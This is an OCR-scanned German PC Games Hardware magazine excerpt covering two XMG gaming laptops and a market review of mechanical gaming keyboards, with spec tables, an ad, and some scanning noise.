verfügt über einen 15,6-Zoll-Full-HD-Bild- 
schirm und ist mit einem Core i7-6700HQ 
und einer Geforce GTX 1060 mit 6 GB 
Das XMG P707 PCGH- 
Edition nutzt einen größeren 17,3-Zoll- 
Bildschirm. Ab sofort gibt es das P707 mit 
dem brandneuen Kaby-Lake-Prozessor 
Core i7-7700HQ. Als Grafikkarte wird die 
Geforce GTX 1070 mit 8 GB verbaut. In 
unserem Witcher-3-Benchmark steigt die 
Leistung im Vergleich zum GTX-1060-Ge- 
rät beispielsweise um 57 Prozent. Beide 


ausgestattet. 


Laptops verfügen über ein hochwertiges 
Gehäuse, das überwiegend aus Metall 
besteht. Neu sind bei den XMG-Geräten 
die Multicolor-Tastaturen, deren Beleuch- 
tung sich in drei Zonen individuell einstel- 
len lässt. Mehr Infos erhalten Sie unter: 


www.pcgh.de/xmg (dw) 


Vorteile PCGH-Edition 


Gutschein für das PCGH-Online-Abo 
(365-Tage-Zugang) 


Produkt 


Hersteller/Bezugsquelle 


XMG P507 
PCGH-Edition 
Schenker (www.pcgh.de/xmg1) 


XMG P707 
PCGH-Edition V2 
Schenker (www.pcgh.de/xmg2) 


Erweiterte Informationen 
Ausstattung 
Prozessor 


www.pcgh.de/p507 


Intel Core i7-6700HQ 
(2,6 bis 3,5 GHz, 4 Kerne/8 Threads) 


www.pcgh.de/p707 


Intel Core i7-7700HQ 
(2,8 bis 3,8 GHz, 4 Kerne/8 Threads) 


Grafikeinheit 


Nvidia Geforce GTX 1060 (6 GB) 


Nvidia Geforce GTX 1070 (8 GB) 


LCD 


15,6 Zoll Full HD Non-Glare IPS 
(1.920 x 1.080 Pixel) 


17,3 Zoll Full HD Non-Glare IPS 
(1.920 x 1.080 Pixel, G-Sync) 


SSD-Laufwerk (M.2) 


256 GByte (Samsung SM961-NVMe) 


512 GByte (Samsung SM961-NVMe) 


HDD-Laufwerk 


Optisches Laufwerk 


1.000 GByte (Seagate, 5.400 U/min) 


2.000 GByte (Seagate, 5.400 U/min) 


Speicher 


16 GB DDR4-2400 (Ballistix) 


16 GB DDRA4-2400 (Ballistix) 


Akku/Gewicht 


60 Wattstunden/2,92 kg 


60 Wattstunden/3,36 kg 


Kommunikation 


GBit-Lan (RJ-45), WLAN 802.1 1ac, Blue- 
tooth 4.2, SD-Kartenleser, HD- Webcam, 
Fingerprin 


= 


GBit-Lan (RJ-45), WLAN 802.11ac, Blue- 
tooth 4.2, SD-Kartenleser, HD-Webcam, 
Fingerprint 


Soundchip 


Sound Blaster X-Fi 5 


Sound Blaster X-Fi 5 


Anschlüsse 


3 x USB 3.0, 2 x USB 3.1 (Typ 0), 
HDMI, 2 x Mini-Displayport, 
3 x Klinke (1 x Kopfhörer, 
1 x Mikrofon in, 1 x S/PDIF) 


3 x USB 3.0, 2 x USB 3.1 (Typ С), 
HDMI, 2 x Mini-Displayport, 
3 x Klinke (1 x Kopfhürer, 
1 x Mikrofon in, 1 x S/PDIF) 


Abmessungen (B x T x H) 385 x 271 х 25 mm 417 x 287 x 30 mm 
Leistung* — | 

Lautstärke 2D (0,5 m) 0,4 Sone/24 dB(A) 0,5 Sone/25 dB(A) 
Lautstärke 3D (0,5 m) 2,2 Sone/37 dB(A) 4,4 Sone/46 dB(A) 
Leistungsaufnahme 2D/3D 20 Watt/107 Watt 26 Watt/153 Watt 

3D Mark (Fire Strike) 2.646 (U), 5.091 (E), 9.453 (S) 4.029 (U), 7.344 (E), 12.713 (S) 
Battlefield 1/The Witcher 3 63 Fps/37 Fps 65 Fps/58 Fps 


Stalker: Call of Pripyat 


122 Fps (Sun Shafts, Ultra, 4x AA) 


142 Fps (Sun Shafts, Ultra, 4x AA) 


Aliens vs Predator Bench. 


155 Fps (1.920 x 1.080) 


223 Fps (1.920 x 1.080) 


Cinebench R11.5 x64 (CPU) 7,43 Punkte 7,40 Punkte 
Akkulaufzeit 2D 332 Minuten (5:32 Stunden) 280 Minuten (4:40 Stunden) 
PREIS Eear,- 
ohne Betriebssystem* €1.579 es €2.379 de 
PREIS €2.499,- 


mit 64-Bit-Betriebssystem* 


€1.699,- 
(inkl. Windows 10 Home) 1199, - 


(inkl. Windows 10 Home) 


© 3D-Performance der GTX 1060 
© Lange Akkulaufzeit 
© Hohes Gewicht 


© Sehr schnelle Geforce GTX 1070 und G-Sync 
© Neuer i7-7700HQ, große 512-GB-M.2-SSD 
© Hörbare Lüfter im 3D-Betrieb 


* Preiserfassung und Produktdaten vom 16.01.2017, unter www.pcgh.de/mysn finden Sie stets den aktuellen Preis. Bei der Variante mit Betriebssystem sind neben 


Windows auch sämtliche Treiber installiert und das Notebook ist sofort einsatzbereit. 


**Verringerte Leistung im Akkubetrieb 
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Mechanische 
Mitspieler 


Mit bunten Beleuchtungstricks, einem modula- 


ren Ziffernblock oder einem Retro-Design 
buhlen die Tastatur-Testkandidaten um 
die Gunst des Spielers. 
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er Trend, mechanischen Tas- 
Du. eine Sonderausstat- 
tung zu spendieren, um diese als 
Mechanical Gaming Keyboard ver- 
kaufen zu können, hält an. Dabei ist 
das von den Herstellern am hàufigs- 
ten beworbene Feature die frei pro- 
grammierbare RGB-Beleuchtung, 
mit der auch die Hälfte der Tasta- 
turen in dieser Marktübersicht be- 
stückt ist. Trotzdem stellt sich die 
Frage, ob der Spieler die Beleuch- 
tungstricks zwingend  benótigt, 
oder ob ganz andere Dinge einen 
empfehlenswerten mechanischen 
Mitspieler ausmachen. 


Eine (farbige) Voll- oder Zonenbe- 
leuchtung ist für bestimmte Genres 
sicherlich nützlich, trotzdem sollte 
diese beim Kauf nicht das Haupt- 
kriterium sein. Extras wie eine Ma- 
kro-Direktaufzeichnung, USB- und 
Audio-Anschlüsse, ein interner Spei- 
cher sowie ein übersichtliches Tas- 
tenlayout sind ebenfalls sehr wich- 
tig. Des Weiteren sollten auch Dinge 
wie die Art des Tastenschalters und 
die Ergonomie die Kaufentschei- 
dung beeinflussen. Mit welchen 
Ausstattungsmerkmalen unsere acht 
Testkandidaten um die Gunst des 
Spielers buhlen, erfahren Sie jetzt. 

Asus ROG Claymore: Empfehlenswer- 
ter, aber teurer Lichtspieler mit mo- 
dularem Ziffernblock. Die Claymore 
ist Asus' erste Spielertastatur mit frei 


programmierbarer RGB-Beleuchtung 
und hier macht man keine halben 
Sachen. Zu den frei konfigurierbaren 
Lichtspielereien kommen acht Effek- 
te, eine Zonenbeleuchtung sowie Be- 
leuchtungsprofile für Spiele. Zusätz- 


Mit Razers Mecha-Membran-Tastenschaltern 
(Gummidom-Mechanik-Hybrid) und den tak- 
tilen weiBen Kailh-Switches (rechts) geben 


zwei Tastenschalter ihr Debüt. 
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lich lässt sich die RGB-Beleuchtung 
mit Màusen und Platinen der ROG- 
Reihe synchronisieren, um beispiels- 
weise die CPU-Temperatur sowie die 
Drehzahl des Lüfters zu visualisieren 
(Asus Aura). Erfreulicherweise làsst 
sich die Effektpalette per Tastenkom- 
bination auch ohne Software aufru- 
fen. Die restliche Ausstattung kann 
sich ebenfalls sehen lassen: Makros 
werden per ROG Armoury oder di- 
rekt aufgezeichnet und im internen 
Speicher ist Platz für fünf Profile. Die 
Tasten F5 bis F12 sind mit Multimedia- 
funktionen doppelt belegt und per 
Fn-Umschalttaste lässt sich die Wie- 
derholrate modifizieren. Dazu kom- 
men eine Polling Rate von 1.000 Hz 
sowie eine Metallwalze am oberen 
Ende des modularen Ziffernblocks. 
Dieser spezielle Tastenblock ist eines 
der Ausstattungs-Highlights der Clay- 
more und kommt, links am Haupttas- 
tenfeld positioniert, beispielsweise 
Linkshändern bei Office-Arbeiten 
zugute. Andererseits profitieren auch 
Spieler von dem Feature, denn an der 
linken Seite der Asus Claymore ange- 
dockt, kann das Numpad zum Auf- 
rufen von Zusatzfunktionen genutzt 
werden. 


Obwohl bei der kompakten ROG 
Claymore der Mittelblock und die 
F-Tastenreihe eng am Haupttasten- 
feld positioniert sind, kommt es 
beim Blindtippen kaum zu Fehlgrif- 
fen. Die Ergonomie ist gut, das liegt 
auch daran, dass die vordere Kante 
des mit einer Alu-Oberfläche aufge- 
werteten Chassis relativ steil nach 
unten abfällt. Mit den roten Cherry 
MX RGB wählt Asus bewusst einen 
Spielern beliebten 
Schalter, der mit seinem niedrigen 


linearen, bei 


Auslösedruck von 45 cN (g) eine 
sehr schnelle Mehrfachbetätigung 
ermöglicht. Der einzige Nachteil 
der Cherry MX RGB: Aufgrund des 


< 


Die Hyper Alloy Fps, die erste mechanische Tastatur von Kingston, benötigt keine Soft- 
ware, ist aber auch nur einfarbig beleuchtet. Als Trostpflaster gibt es nützliches Zubehör. 


Zur Ausstattung der Razer Onata Chroma gehört nicht nur ein Kabelkanal. Der Garant für 
die Top-Ergonomie ist eine weiche, ausreichend groß dimensionierte Handballenablage. 


Die Beleuchtung der Prime 13 von Das Keyboard ist nur einfarbig und nicht programmier- 
bar. Dafür kommen die von Spielern geschätzten Cherry-MX-Brown-Schalter zum Einsatz. 
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An der Rückseite der Cougar Attack X3 RGB befindet sich nur eine Vorbereitung für ei- 
nen USB-Port. Trotzdem verfügt das Anschlusskabel über zwei statt einen USB-Stecker. 


Um das Anschlusskabel links, rechts, oder mittig unter dem Chassis herauszuführen, 
verfügen das Roccat Suora FX und das Steelseries Apex M500 über Kabelkanäle. 


Der Ziffernblock der Asus ROG Claymore dockt per Steckmechanismus links oder rechts vom 
Haupttastenfeld an. Bei der Core-Variante der Claymore (ca. 180 Euro) fehlt dieses Extra. 


90 


PC Games Hardware | 03/17 


transparenten Gehäuses wird viel 
Licht unterhalb der Tastenkappe 
emittiert. 


Roccat Suora FX: Beleuchtungskünst- 
ler mit Plug-and-Play-Charakter. Das 
Hauptausstattungsmerkmal von 
Roccats mechanischer Tastatur mit 
rahmenlosem Design ist die RGB- 
Tastenbeleuchtung. In der einfach 
zu bedienenden Swarm-Software 
kann der Spieler jeder Taste eine 
individuelle Leuchtfarbe zuweisen, 
bestimmte Zonen beleuchten oder 
sogar auf neun vorgefertigte Effekte 
wie Welle oder Atmung zurückgrei- 
fen. Vier dieser Beleuchtungseffek- 
te lassen sich als Doppelbelegung 
auf die Tasten F1 bis F speichern. 
Generell präsentiert sich die Suora 
FX Plug-and-Play-freundlich, denn 
auf der F-Tastenreihe sind weitere 
softwarefreie Funktionen als Dop- 
pelbelegung zu finden. Den Explo- 
rer, Browser, das Mailprogramm 
sowie den Taschenrechner rufen 
Sie per Fn * F5/F6/F7/F8 auf, Me- 
dien steuern Sie mit den doppelt 
belegten Tasten F9 bis F12 und für 
die Lautstärkenregelung befinden 
sich drei Extratasten oberhalb des 
Ziffernblocks. Für per Software auf- 
gezeichnete Makros stehen sechs 
M-Tasten (Doppelbelegung im Mit- 
telblock) bereit und ein Profilspei- 
cher ist ebenfalls vorhanden. Kabel- 
kanäle an der Unterseite, 1.000 Hz 
Polling-Rate sowie der garantierte 
NKey-Rollover (USB-Port) runden 
die gute Ausstattung ab. 


Obwohl eine Handballenablage 
fehlt, verfügt die rutschfeste Roccat 
Suora FX über eine gute Ergono- 
mie, denn aufgrund des rahmenlo- 
sen Designs und des sehr geringen 
Anstiegswinkels des Tastenfeldes 
liegen die Handballen relativ be- 
quem auf der Tischplatte auf. Die 
von TTC gefertigten RGB-Tasten- 
schalter mit braunem Stempel ent- 
sprechen laut Werksangabe (siehe 
Testtabelle) den Cherry-MX-RGB- 
Brown Modellen. Deren Auslös- 
punkt ist subjektiv gefühlt besser 
spürbar als beim Cherry-Original. 


Cougar Attack X3 RGB: Günstige, 
solide ausgestattete RGB-Tastatur 
für Spieler. Die Ausstattung des an 
der Gehäuseoberseite durch ein 
Alu-Element optisch aufgewerte- 
ten, RGB-beleuchteten Keyboards 
fällt trotz des günstigen Preises 
von 120 Euro keinesfalls abge- 


speckt aus. Auf USB- sowie Sound- 
anschlüsse sowie eine Makro-Di- 
rektaufzeichnung muss der Spieler 
bei Cougars Attack X3 RGB zwar 
verzichten, dafür überzeugt die mit 
acht Multimediatasten (Doppelbe- 
legung F5 bis F12), einem Speicher 
(3 Profile, inklusive Beleuchtungs- 
modi und Makros) sowie бККО/ 
NKRO-Umschalter (Fn + Rollen/ 
Pause) bestückte Tastatur mit ihren 
RGB-Lichtspielereien. Neben der 
individuellen Programmierung der 
Beleuchtung stehen neun Modi zur 
Verfügung, von denen sich je drei 
mit der erfreulich umfangreichen 
und einfach bedienbaren Software 
auf eine Modus-Wechseltaste, М1 
bis M3 (Doppelbelegung F1 bis ЕЗ), 
legen und anschließend mit der Tas- 
tenkombi Fn + F4 aufrufen lassen. 


Die Ergonomie der Attack X3 RGB 
geht in Ordnung, die fehlende 
Handballenablage lässt sich zumin- 
dest beim Spielen mit der Tastatur 
noch verschmerzen. Beim intensi- 
ven Schreibeinsatz, für den sich die 
braunen, taktilen Cherry-MX-RGB- 
Tastenschalter ebenfalls sehr gut 
eignen, vermisst man eine Ablage 
für die Handballen schon mehr. 
Im Gegenzug hält sich Cougar bei 
der rutschfesten Attack X3 RGB an 
das Standard-ISO-Layout mit 105 
Tasten und sorgt dafür, dass mit 
Ausnahme des Abstands zwischen 
Haupttastenfeld und F-Tastenreihe 
ausreichend Platz zwischen den 
Tastenblócken und -kappen bleibt. 


Razer Ornata Chroma: Ergonomi- 
sches Schreib- und Spielgerát mit 
Hybrid-Schaltern. Von der Bestü- 
ckung mit Razers neuen Mecha- 
Membran-Tastenschaltern sowie 
den Makrotasten abgesehen, bietet 
die mit 110 Euro deutlich günstige- 
re Ornata Chrome dieselbe Ausstat- 
tung wie ihre ,voll* mechanische, 
für 160 Euro erhältliche Schwester, 
die Razer Black Widow Chroma. 
Auch bei der Ornata Chroma steht 
mit acht Effekten, einer Zonenbe- 
leuchtung sowie vier Spiele-Modi 
eine breite Palette an RGB-Licht- 
tricks bereit, für deren Anwahl 
genauso wie für die Individuali- 
sierung der Beleuchtung Razers 
Synapse-Software installiert sein 
muss. Lediglich für Makros steht 
eine Direktaufzeichnungsfunktion 
(Fn + F9) bereit. Wie bei allen ge- 
testeten Tastaturen liegen auch hier 
die Multimediafunktionen als Dop- 


www.pcgameshardware.de 


Aharkoon 


ча .. —. GAMING LASER MOUSE 


Ein starkes Stück Hardware! 


Die Sharkoon SHARK ZONE M50 sieht einfach gut aus: Dank 
SHARK ZONE Design, stylischer Oberfläche, dezenter LED- 
Beleuchtung in Gelb, einer Unterseite aus Aluminiumlegierung 
und dem typisch gelben Kabel wirkt die Maus schick und edel 
auf jeder Mouse Mat. 


Auch die Ausstattung kann sich sehen lassen - durch 
austauschbare Seitenteile kann die M50 so gestaltet werden, 
dass die Maus perfekten Grip in der Hand findet. Der Avago 
ADNS-9800-Sensor leistet bis zu 8.200 DPI. Langlebige 
Omron-Schalter in linker und rechter Maustaste sorgen für 
dauerhaften Spielspaß, fünf Mausfüße für beste Gleiteigen- 
schaften. Die beiliegende Gaming-Software erlaubt individu- 
elle Anpassungen, inklusive Programmierung von Makros. 


SHARKOON SHARK ZONE | A warning for some, an adventure for you. www.sharkoon.de 


INFRASTRUKTUR | Marktübersicht Tastaturen 


Auf der CES 2017 stellte Roccat die Isku+ und Isku+ Force FX vor. Dabei ist die 
FX-Variante für Spieler besonders interessant, da mit dem bunt beleuchteten 
Keyboard ein neuer druckintensiver Gummidon-Schalter sein Debüt gibt. 


Der Clou und die Innovation an dem auf der Consumer Electronics Show präsentierten 
Nachfolger der Roccat Isku+ Force FX sind die sechs neu hinzugekommenen, druck- 
sensitiven Tasten WASD sowie Q und E. Deren Schalter basieren zwar weiterhin auf der 


Bei Nanoxias spritzwassergeschützter Ncore Retro verschwinden die Tastenschalter unter 
der Chassis-Abdeckung im Klavierlack-Look. Anstelle einer Tastenbeleuchtung, Makrofunk- 
tion oder Software gehören Reinigungsutensilien und eine Abdeckung zur Ausstattung. 
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Roccat Force FX: Drucksensitive Schaltertechnik 


Membran-/Gummidomtechnik, verfügen allerdings über 

je drei verschiedene Stufen, die durch unterschiedlich hohen 

Druck respektive unterschiedlich große Betätigungskräfte ausge- 
löst werden. Dabei analysiert eine spezielle chemische Beschichtung 
unterhalb der Membran (siehe Bild links), wie fest eine Taste gedrückt 

wird, respektive mit wie viel Kraft deren Stempel auf den Gummidom drückt. 


Diese drei Druckstufen können Spieler mit verschiedenen Funktionen belegen. So ist es 
dann denkbar, dass in einem First-Person-Shooter die Taste W beispielsweise mit den Funkti- 
onen Schleichen, Laufen und Rennen bestückt wird. Trotz der neuen Force-FX-Schaltertechnik 
soll das Feedback der damit bestückten Tasten aber dem der restlichen Tasten gleichen. Ob 

das stimmt, werden wir in Kürze bei einem Test der Roccat Isku+ Force FX überprüfen. 


pelbelegung auf den F-Tasten (F1 
bis F7), eine Gaming-Taste (schaltet 
die Win-Taste aus), ein IOKRO und 
die 1.000 Hz Polling-Rate gehören 
ebenfalls zur Ausstattung. 


Bei der Ergonomie setzt sich Ra- 
zers Ornata Chroma von der Kon- 
kurrenz ab, denn die mitgelieferte 
Handballenablage 
ausreichend groß, sondern auch 
noch gepolstert. Razers innovati- 


ist nicht nur 


ver Mecha-Membran-Tastenschal- 
ter, der eine Mischung aus dem 
gedämpften Tastenanschlag einer 
Rubberdome-Membran und dem 
Auslösegeräusch eines mechani- 
schen Switches (akustisches Feed- 
back) darstellt, benötigt eine hohe 
Druckkraft, muss aber dank des 
Klickgeräusches am  Anschlags- 
punkt nicht mit voller Kraft durch- 
gedrückt werden. Das macht vor 
allem das Tippen mit der Ornata 
Chroma sehr angenehm. 


Steelseries Apex М500: Ausstat- 
tungspurist mit speziellem Tippge- 
fühl. Von der blauen, fünfstufigen 
Beleuchtung abgesehen, hat Steel- 
series‘ Apex M500 kaum Ausstat- 
tung zu bieten. Auf der Habenseite 
stehen sechs als Doppelbelegung 
auf die Tasten F7 bis F12 verteilte 
Multimediafunktionen, Kabelkanä- 
le auf der Unterseite, eine 1.000 Hz 
Polling Rate, eine sperrbare Win- 
dows-Taste sowie eine Makrofunk- 
tion ohne  Direktaufzeichnung, 
für die jede Taste genutzt werden 
kann. Das Programmieren von Tas- 
tenfolgen, das Festlegen der Polling 


Rate sowie des Beleuchtungseffekts 
(Vollbeleuchtung/Atmungseffekt), 
erfolgt ausschliefslich per Steelse- 
ries-Engine-Software und mit ex- 
terner Speicherung. Lediglich die 
Beleuchtungsintensität können Sie 
per Knopfdruck regulieren. Auf 
USB-/Soundanschlüsse, Sondertas- 
ten oder eine umfangreiche Be- 
leuchtungseffektpalette muss der 
Käufer der mit 100 Euro nicht güns- 
tigen Apex M500 verzichten. 


Da Steelseries die Apex M500 ohne 
Handballenablage ausliefert, ist die 
Ergonomie nicht optimal. Die Tas- 
ten sind übersichtlich im Standard- 
ISO-Layout angeordnet, zu Fehlgrif- 
fen kommt es kaum. Dank großer 
Gummielemente an der Unterseite 
und einer Höhenverstellung mit ei- 
ner Anti-Rutsch-Schicht aus Gummi 
bewegt sich die Apex auch bei hek- 
tischer Nutzung nicht nach vorn. 
Ein weiterer Pluspunkt: Ihr mit ei- 
ner sehr guten Qualität gefertigtes 
Chassis vibriert nur sehr wenig, ge- 
nauso wie die Metallplatte im Inne- 
ren, welche die Platine mit den ro- 
ten Cherry-MX-Schalter beschwert 
und stabilisiert. Das Resultat ist eine 
mit dumpferem 
Klangbild, das sich hörbar von den 
heller klackernden Konkurrenten 
abhebt. Des Weiteren fühlt sich der 
Druckpunkt der besonders für die 


leisere Tastatur 


schnelle Mehrfachbetätigung ge- 
eigneten MX-Red-Tastenschalter so 
noch einen Tick direkter an. 


Kingston Hyper X Alloy: Mechani- 
scher Mitspieler ohne Software- 
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Zwang. Die Hyper X Alloy, deren 
Gehäuseoberseite eine Metallplatte 
veredelt, ist Kingstons erste mecha- 
nische Tastatur. Da man die Hyper 
X Alloy für Shooter-Spieler konzi- 
piert hat, konzentriert man sich bei 
der Ausstattung auf das Wesentli- 
che und sorgt dafür, dass sich alle 
Features per Fn-Tastenkombi bedie- 
nen lassen. So können Spieler eine 
individuelle Beleuchtung erstellen 
oder mithilfe der Pfeiltasten (links/ 
rechts) eine der sechs vorgegebe- 
nen Lichtspielereien aufrufen. Die 
Helligkeit wird ebenfalls per Tas- 
tendruck (Fn + Cusor hoch/runter) 
geregelt, außerdem legt Kingston 
die Multimediafunktionen sowie 
die Abschaltfunktion der Windows- 
Tasten auch als Doppelbelegung 
auf die Tasten F6 bis F12. Neben 


der Software-freien Bedienung hat 
die Hyper X Alloy noch einen NKey- 
Rollover, eine 1.000 Hz Polling-Rate, 
ein abnehmbares Anschlusskabel 
und einen USB-Anschluss mit Lade- 
funktion (keine Datenübertragung) 
zu bieten. Weitere Extras sind eine 
Transporttasche sowie acht Tasten- 
kappen, die mit einer dünnen Me- 
tallschicht überzogen sind. 


Da die Kingston Hyper X Alloy, ähn- 
lich wie Roccats Suora FX, über ein 
rahmenloses Design mit freistehen- 
den Tastenschaltern verfügt, ist die 
Ergonomie insgesamt ordentlich. 
Die Tischplatte dient auch hier 
als Handballenersatz und obwohl 
Kingston alle Tastenfelder nah zu- 
sammenrückt, löst man auch bei 


schnellem Blindschreiben selten 


MECHANISCHE 
TASTATUREN 


Auszug aus Testtabelle 
mit 45 Wertungskriterien 


Produktname 
Hersteller (Vertrieb) 


Suora FX 


Roccat (www.roccat.org, 


— 
Roccat 
Sosa FX 


Нагйшаге 


ROG Claymore 


m 
) Asus (www.asus.com) 


Нагйшаге 


die falsche Taste aus. Mit ihrem 
zweifachen Feedback (haptisch/ 
akustisch) eignen sich die blauen 
Cherry-MX-Tastenschalter auch sehr 
gut für Spieler und Vielschreiber, 
die ihre Tasten nicht bis zum An- 
schlag 4 mm durchdrücken wollen. 


Das Keyboard Prime 13: Hohe Qua- 
lität, angenehmes Tippgefühl, aber 
wenig Ausstattung. Mit dem Pri- 
me 13 präsentiert Edel-Hersteller 
Das Keyboard seine erste me- 
chanische Tastatur mit einer Be- 
leuchtung. Die spendiert den mit 
Cherry-MX-Brown-Schaltern (taktil: 
haptisch, 45 cN [g] Auslösedruck) 
bestückten, im Standard-Layout an- 
geordneten Tasten ein weißes Licht 
mit sechs Helligkeitsstufen. Auf Ef- 
fekte muss der Käufer der Prime 13 


EIS-LEISTUNGS-TIPP 


Hardware 


E 


Attack X3 RGB 


Cougar (http://cougargaming.com) 


allerdings genauso verzichten wie 
auf eine Ausstattung mit vielen Ex- 
tras. Das Keyboard bleibt auch hier 
seiner Philosophie treu und setzt 
eher auf eine Top-Verarbeitung und 
ein unauffälliges Design. Beispiele 
hierfür sind die Alu-Abdeckung des 
Chassis sowie das hohe Gewicht, 
für das die Metallplatte zur Stabili- 
sierung der Schalterplatine sorgt. 
Im Gegenzug wird für die Prime 13 
keine Software benótigt, eine Mak- 
roprogrammierung oder ein Profil- 
speicher fehlen trotz beworbener 
Gamer-Ausrichtung und mehr als 
die sieben Multimediatasten (Dop- 
pelbelegung F-Tasten), die 1.000 
Hz Polling Rate und den an- und ab- 
schaltbaren NKey Rollover hat die 
Prime 13 trotz ihres hohen Preises 
von 150 Euro nicht auf Lager. 


(au? N 
SPAR-TIPP 


Gran Сота 


Hardware 


Ornata Chroma 
Razer (www.razerzone.com) 


Preis/Preis-Leistung 


Ca. € 140,- Euro/befriedigend bis gut 


Ca. € 240,- Euro/mangelhaft 


Ca. € 120,- Euro/gut 


Ca. € 110,- Euro/sehr gut 


PCGH-Preisvergleich www.pcgh.de/preis/1538924 


www.pcgh.de/preis/1549791 


www.pcgh.de/preis/1534418 


www.pcgh.de/preis/1513169 


Bauart/Anschluss Kabeltastatur/USB 2.0 Kabeltastatur/USB 2.0 Kabeltastatur/USB 2.0 Kabeltastatur/USB 2.0 
Ausstattung (20 %) 1,85 1,70 2,25 2,00 
Kabellänge Ca. 200 cm Ca. 180 cm Ca. 180 cm Ca. 200 cm 
Handballenablage Nein Nein Nein Ja, abnehmbar (leicht magnetisch) 
Beleuchtung/Feature- und Effektumfang/ | Ja, RGB-Beleuchtung (programmierbare Ja, RGB-Beleuchtung (programmierbare Einzel- | Ja, RGB-Beleuchtung (programmierbare Ja, RGB-Beleuchtung (programmierbare Einzel- 
Effekt per Taste abrufbar Einzeltastenbeleuchtung im vollen RGB-Farb- |tastenbeleuchtung im vollen RGB-Farbspektrum | Einzeltastenbeleuchtung im vollen RGB-Farb- |tastenbeleuchtung im vollen RGB-Farbspektrum 
spektrum mit zehn Helligkeitsstufen)/sehr gut: mit vier Helligkeitsstufen)/sehr gut: acht Effekte, | spektrum mit vier Helligkeitsstufen)/sehr gut: — |mit 18 Helligkeitsstufen)/sehr gut: acht Effekte 
neun Effekte sowie ein spezieller Spielemodus |Zonenbeleuchtung, Beleuchtungsprofile für neun Effekte/ja, je drei Modi pro Profil (Tasten | + Zonenbeleuchtung + vier Spiele-Modi/nein 
(Talk FX)/ja Spiele/ja М1 bis M3) 
Tastenanzahl 109 Tasten 105 Tasten (88 ohne Numpad) 105 Tasten 105 
USB-Ports/Soundanschlüsse Nein/nein Nein/nein Nein/nein Nein/nein 
Extras ndividualisierbare RGB-Einzeltastenbeleuchtung |Individualisierbare RGB-Einzeltastenbeleuchtung | Individualisierbare RGB-Einzeltastenbeleuch- ^ |Individualisierbare RGB-Einzeltastenbeleuch- 
(deaktivierbar/Effekte ohne Software aufrufbar), |(deaktivierbar/Effekte ohne Software aufrufbar), | tung (deaktivierbar/Effekte ohne Software tung (deaktivierbar/Effekte nur per Synapse 
asten F1 bis F12 doppelt belegt (vier Lichtef- |sieben Multimediatasten (Doppelbelegung F9 | aufrufbar), acht Multimediatasten (Doppelbe- |wählbar), sieben Multimediatasten (Dop- 
ekte, Web, Rechner, Mail, Multimedia), drei bis F12), Response-Rate einstellbar, Makros legung F5 bis F12), Verzógerungsrate in der pelbelegung F1 bis F7), Makrofunktion mit 
asten für Lautstärke, Game-Mode-Taste, sechs | ті Direktaufzeichnung, Speicher für 5 Profile, | Software einstellbar, Makrofunktion, Speicher |Direktaufzeichnung, Speicher (Profil, Makros, 
akrotasten (Doppelbelegung Mittelblock), Metallwalze am Ziffernblock, modularer Ziffern- | für 3 Profile (Makros + Beleuchtungsmodus), | Beleuchtungseffekt), Gaming-Modus-Taste, 
akrofunktion, Profilspeicher, NKRO, 1.000 Hz |block, NKRO, 1.000 Hz Polling-Rate, Synchroni- | Umschalter 6KRO/NKRO, 1.000 Hz Polling-Rate, | 10KRO, 1.000 Hz Polling-Rate 
olling-Rate, Kabelscháchte unter der Tastatur |sierung mit ROG-Mainboards/Mäusen 
Höhenverstellung а 1а 1а а 
Eigenschaften (20 %) 1,89 1,77 1,56 1,46 
Tastaturlayout/Übersichtlichkeit ull-Size (Standard MF/ISO)/gut bis sehr gut — |Full-Size (Standard MF/ISO)/sehr gut Full-Size (Standard MF/ISO)/sehr gut ull-Size (Standard MF/ISO)/sehr gut 
Tastenhöhe (Haupttasten) Normal Normal Normal Mittelhoch 
Ergonomie/Rutschfestigkeit Gut/gut Gut/gut bis sehr gut Gut/sehr gut Sehr gut/gut bis sehr gut 
Windowstasten a, per Tasten deaktivierbar Ja, per Doppelbelegung deaktivierbar Ja, per Doppelbelegung deaktivierbar a, per Tastenkombination deaktivierbar 
Abmessungen (L x B x H)/Gewicht 43,0 x 12,5 x 3,6 cm/ca. 872 Gramm 45,0 x 14,5 x 4,5 cm/ca. 900 Gramm 46,7 x 17,0 x 4,0 cm/ca. 900 Gramm 46,3 x 15,4 x 31 cm/950 Gramm 
Leistung (60 %) 1,25 1,35 1,35 1,55 
Tastenanschlag/Druckpunkt Sehr gut/Sehr gut Sehr gut/Sehr gut Sehr gut/Sehr gut Sehr gut/gut bis sehr gut 
Schalterart/Aktivierungsdruck TIC Brown (taktil: haptisch, 45 cN [g]; 2 mm ` |Cherry MX RGB Red (Linear, 45 cN [9]; 2 тт | Cherry MX RGB Brown (Taktil ‚haptisch, 45/55 | Razer Mecha-Membrane (Hybrid mit Gummi- 
Auslóse- und 2 mm Anschlagsweg, einfarbiges | Auslóse- und 2 mm Anschlagsweg, einfarbiges | cN [g]; 2 mm Auslöse- und 2 mm Anschlags- — |dom-Membram, akustisch/haptisches Feed- 
Schaltergehäuse) Schaltergehäuse) weg, transparentes Schaltergehäuse) back am Auslösepunkt und hohe Druckkraft) 
Key Rollover KRO (USB-Port) NKRO (USB-Port) 6KRO/NKRO (USB-Port) 10KRO (USB-Port) 


Software: Anwenderfreundlichkeit/Umfang 


Sehr gut/sehr umfrangreich 


Sehr gut/sehr umfrangreich 


Sehr gut/sehr umfrangreich 


Sehr gut/sehr umfrangreich 


Software: Beleuchtungsprogrammierung/ 
Effekte 


Sehr einfache Beleuchtungsprogrammierung 
mit vielen Optionen/neun vorgefertigte Effeke 
sowie Zonenbeleuchtung und spezielle Ga- 
mer-Effekte (per Software) 


Sehr einfache Beleuchtungsprogrammierung für 
fünf Profile/acht vorgegebene Effekte, Zonen- 
und Gaming-Modus (per Software) 


(drei pro Modus, per Taste abrufbar) 


Sehr einfache Beleuchtungsprogrammierung für 
drei Modi (Profile)/neun vorgegebene Effekte 


Sehr einfache Beleuchtungsprogrammierung 
mit vielen Optionen/acht vorgefertigte Effeke, 
Zonenbeleuchtung, Gamer-Modi (per Synapse 
einstellbar) 


Frei programmierbare Makros 


Ja (zeitverzögert, inkl. Speicher/6 Makrotasten 


Ja (zeitverzögert, inklusive Speicher) 


Ja (zeitverzögert, inklusive Speicher) 


Ja (zeitverzögert, Speicher/Direktaufzeichnung) 


Office-/Spiele-Tauglichkeit 


FAZIT 
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Sehr gut/sehr gut 


© Umfangreiche Beleuchtungsoptionen 
© Druckpunkt/Anschlag der TTC-Schalter 
© Ergonomisch (rahmenloses Design) 


Wertung: 1,50 


Gut bis sehr gut/sehr gut 


